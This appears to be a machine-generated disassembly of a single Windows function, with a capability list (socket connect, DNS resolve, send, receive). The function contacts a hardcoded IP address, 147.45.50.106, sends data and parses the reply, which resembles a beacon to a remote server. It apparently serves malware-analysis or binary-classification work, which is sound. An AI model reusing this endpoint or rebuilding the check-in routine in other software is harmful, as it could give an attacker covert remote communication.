Function at 0x4055b0
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43eb02
mov eax, dword fs:[0]
push eax
sub esp, 0x65c
mov eax, dword [0x457068]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, edx
mov dword [ebp - 0x660], eax
mov esi, ecx
mov dword [ebp - 0x658], esi
mov dword [ebp - 0x664], esi
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
mov dword [ebp - 4], 0
cmp dword [eax + 0x10], 0
je 0x405d21
lea eax, [ebp - 0x654]
mov byte [ebp - 4], 1
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x405d21
mov ecx, dword [0x457a40]
lea edi, [ebp - 0x447]
mov dword [ebp - 0x658], eax
xorps xmm0, xmm0
mov dword [ebp - 0x4c4], eax
movlpd qword [ebp - 0x4b4], xmm0
movlpd qword [ebp - 0x4ac], xmm0
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], 1
mov dword [ebp - 0x4b8], 6
mov dword [ebp - 0x65c], ecx
test ecx, ecx
jns 0x4056d4
neg ecx
mov dword [ebp - 0x65c], ecx
mov eax, 0xcccccccd
dec edi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x65c]
add cl, cl
sub al, cl
mov ecx, eax
mov dword [ebp - 0x65c], eax
add cl, 0x30
mov byte [edi], cl
mov ecx, edx
mov dword [ebp - 0x65c], ecx
test ecx, ecx
jne 0x405698
dec edi
mov byte [edi], 0x2d
jmp 0x40570a
mov eax, 0xcccccccd
dec edi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x65c]
add cl, cl
sub al, cl
mov ecx, eax
mov dword [ebp - 0x65c], eax
add cl, 0x30
mov byte [edi], cl
mov ecx, edx
mov dword [ebp - 0x65c], ecx
test ecx, ecx
jne 0x4056d4
lea ecx, [ebp - 0x447]
mov dword [ebp - 0x464], 0
mov byte [ebp - 0x474], 0
mov eax, 0xf
mov dword [ebp - 0x460], eax
cmp edi, ecx
je 0x405747
mov eax, ecx
lea ecx, [ebp - 0x474]
sub eax, edi
push eax
push edi
call fcn.00407880
mov eax, dword [ebp - 0x460]
cmp eax, 0x10
lea edx, [ebp - 0x658]
push edx
lea ecx, [ebp - 0x474]
mov eax, str.147.45.50.106
cmovae ecx, dword [ebp - 0x474]
lea edx, [ebp - 0x4c4]
cmp dword [0x45a298], 0x10
push edx
cmovae eax, dword [str.147.45.50.106]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov edx, dword [ebp - 0x460]
mov edi, eax
cmp edx, 0x10
jb 0x4057bc
mov ecx, dword [ebp - 0x474]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4057b2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d64
push edx
push ecx
call fcn.00413bdb
add esp, 8
test edi, edi
je 0x4057cb
call dword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x405d21
mov edi, dword [ebp - 0x658]
or eax, 0xffffffff
mov dword [ebp - 0x65c], eax
test edi, edi
je 0x40581c
push dword [edi + 0xc]
push dword [edi + 8]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x65c], eax
cmp eax, 0xffffffff
je 0x4057c0
push dword [edi + 0x10]
push dword [edi + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40581c
mov eax, dword [ebp - 0x65c]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov edi, dword [edi + 0x1c]
jmp 0x4057d1
push dword [ebp - 0x658]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
mov edi, dword [ebp - 0x65c]
cmp edi, 0xffffffff
je 0x4057c0
push dword [ebp - 0x660]
lea ecx, [ebp - 0x474]
call fcn.00407750
lea eax, [ebp - 0x474]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x42c]
call fcn.00408460
add esp, 4
mov byte [ebp - 4], 3
lea eax, [ebp - 0x42c]
cmp dword [ebp - 0x418], 0x10
push 0
push dword [ebp - 0x41c]
cmovae eax, dword [ebp - 0x42c]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x405958
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
movups xmm0, xmmword [ebp - 0x444]
mov edx, dword [ebp - 0x418]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x434]
movq qword [esi + 0x10], xmm0
cmp edx, 0x10
jb 0x4058fa
mov ecx, dword [ebp - 0x42c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4058f0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d69
push edx
push ecx
call fcn.00413bdb
add esp, 8
mov edx, dword [ebp - 0x460]
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0xf
mov byte [ebp - 0x42c], 0
cmp edx, 0x10
jb 0x405d46
mov ecx, dword [ebp - 0x474]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405949
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d6e
push edx
push ecx
call fcn.00413bdb
add esp, 8
jmp 0x405d46
xor ecx, ecx
mov dword [ebp - 0x65c], ecx
push 0
mov eax, 0x400
sub eax, ecx
push eax
lea eax, [ebp - 0x414]
add eax, ecx
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
mov ecx, eax
test ecx, ecx
je 0x405c1e
jns 0x405a71
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [ebp - 0x444]
mov ecx, esi
push eax
call fcn.004076d0
mov edx, dword [ebp - 0x418]
cmp edx, 0x10
jb 0x4059df
mov ecx, dword [ebp - 0x42c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4059d5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d73
push edx
push ecx
call fcn.00413bdb
add esp, 8
mov edx, dword [ebp - 0x460]
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0xf
mov byte [ebp - 0x42c], 0
cmp edx, 0x10
jb 0x405a34
mov ecx, dword [ebp - 0x474]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405a2a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d78
push edx
push ecx
call fcn.00413bdb
add esp, 8
mov edx, dword [ebp - 0x430]
cmp edx, 0x10
jb 0x405d46
mov ecx, dword [ebp - 0x444]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405949
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d7d
jmp 0x405949
mov eax, dword [ebp - 0x65c]
add eax, ecx
mov dword [ebp - 0x44c], 0
push eax
mov dword [ebp - 0x65c], eax
lea ecx, [ebp - 0x45c]
lea eax, [ebp - 0x414]
mov dword [ebp - 0x448], 0xf
push eax
mov byte [ebp - 0x45c], 0
call fcn.00407880
sub esp, 8
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x45c]
call fcn.00407530
cmp eax, 0xffffffff
je 0x405c61
sub esp, 8
lea ecx, [ebp - 0x45c]
call fcn.00407530
mov dword [ebp - 0x494], 0
mov dword [ebp - 0x490], 0xf
mov byte [ebp - 0x4a4], 0
lea edx, [eax + 8]
mov eax, dword [ebp - 0x44c]
cmp eax, edx
jb 0x405d82
sub eax, edx
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp dword [ebp - 0x448], 0x10
lea eax, [ebp - 0x45c]
cmovae eax, dword [ebp - 0x45c]
push ecx
add eax, edx
lea ecx, [ebp - 0x4a4]
push eax
call fcn.00407880
lea eax, [ebp - 0x4a4]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x48c]
call fcn.00407750
mov byte [ebp - 4], 6
lea eax, [ebp - 0x48c]
cmp dword [ebp - 0x478], 0x10
lea ecx, [ebp - 0x444]
push dword [ebp - 0x47c]
cmovae eax, dword [ebp - 0x48c]
push eax
call fcn.00407880
mov edx, dword [ebp - 0x478]
cmp edx, 0x10
jb 0x405baa
mov ecx, dword [ebp - 0x48c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405ba0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d87
push edx
push ecx
call fcn.00413bdb
add esp, 8
mov edx, dword [ebp - 0x490]
cmp edx, 0x10
jb 0x405be4
mov ecx, dword [ebp - 0x4a4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405bda
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push edx
push ecx
call fcn.00413bdb
add esp, 8
mov edx, dword [ebp - 0x448]
cmp edx, 0x10
jb 0x405c1e
mov ecx, dword [ebp - 0x45c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405c14
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d91
push edx
push ecx
call fcn.00413bdb
add esp, 8
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov edx, dword [ebp - 0x418]
cmp edx, 0x10
jb 0x405cbe
mov ecx, dword [ebp - 0x42c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405cb4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d96
jmp 0x405cb4
mov ecx, dword [ebp - 0x65c]
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x448]
cmp edx, 0x10
jb 0x405960
mov ecx, dword [ebp - 0x45c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405c9f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d9b
push edx
push ecx
call fcn.00413bdb
mov ecx, dword [ebp - 0x65c]
add esp, 8
jmp 0x405960
push edx
push ecx
call fcn.00413bdb
add esp, 8
mov edx, dword [ebp - 0x460]
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0xf
mov byte [ebp - 0x42c], 0
cmp edx, 0x10
jb 0x405d21
mov ecx, dword [ebp - 0x474]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405d09
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405da0
push edx
push ecx
call fcn.00413bdb
add esp, 8
jmp 0x405d21
movups xmm0, xmmword [ebp - 0x444]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x434]
movq qword [esi + 0x10], xmm0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004137fd
mov esp, ebp
pop ebp
ret
call fcn.0042ef0f
call fcn.0042ef0f
call fcn.0042ef0f
call fcn.0042ef0f
call fcn.0042ef0f
call fcn.0042ef0f
call fcn.00408450
call fcn.0042ef0f
call fcn.0042ef0f
call fcn.0042ef0f
call fcn.0042ef0f
call fcn.0042ef0f
call fcn.0042ef0f
int3